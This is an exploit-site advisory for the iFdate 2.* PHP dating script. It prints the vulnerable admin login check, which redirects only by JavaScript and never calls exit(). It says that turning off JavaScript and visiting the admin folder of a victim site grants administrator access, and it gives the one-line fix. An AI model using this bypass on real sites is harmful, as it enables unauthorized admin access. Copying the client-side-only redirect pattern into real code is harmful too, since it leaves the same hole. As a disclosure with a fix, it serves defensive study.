ifdate 2.* unauthorized administrative access bug
ifdate 2.* unauthorized administrative access bug
vendor : Liz0zim
web: www.biyosecurity.net www.expw0rm.com
Script Home Page : http://www.ifusionservices.co.uk/
vul. version : iFdate 2.*
vul code :
all admin folder files
///////////////////////////////////////
// Checks user is logged in //
///////////////////////////////////////
if
(($_SESSION['admin_area']=="Active")&&($admin_info['admin_status']=="Online")){
} else {
echo "<script>document.location.href='admin_login.php'</script>"; -------> Vul
code
}
script coder don't write exit(); or die();
open web browser setting disable javascript
http://victim.com/[path]/admin/ :=) i am new admin
-------------------------------------
fix:
///////////////////////////////////////
// Checks user is logged in //
///////////////////////////////////////
if
(($_SESSION['admin_area']=="Active")&&($admin_info['admin_status']=="Online")){
} else {
echo "<script>document.location.href='admin_login.php'</script>";
exit(); //add code
}
Orginal:
http://www.expw0rm.com/ifdate-2-unauthorized-administrative-access-bug_no285.html
// Exploit Worm www.expw0rm.com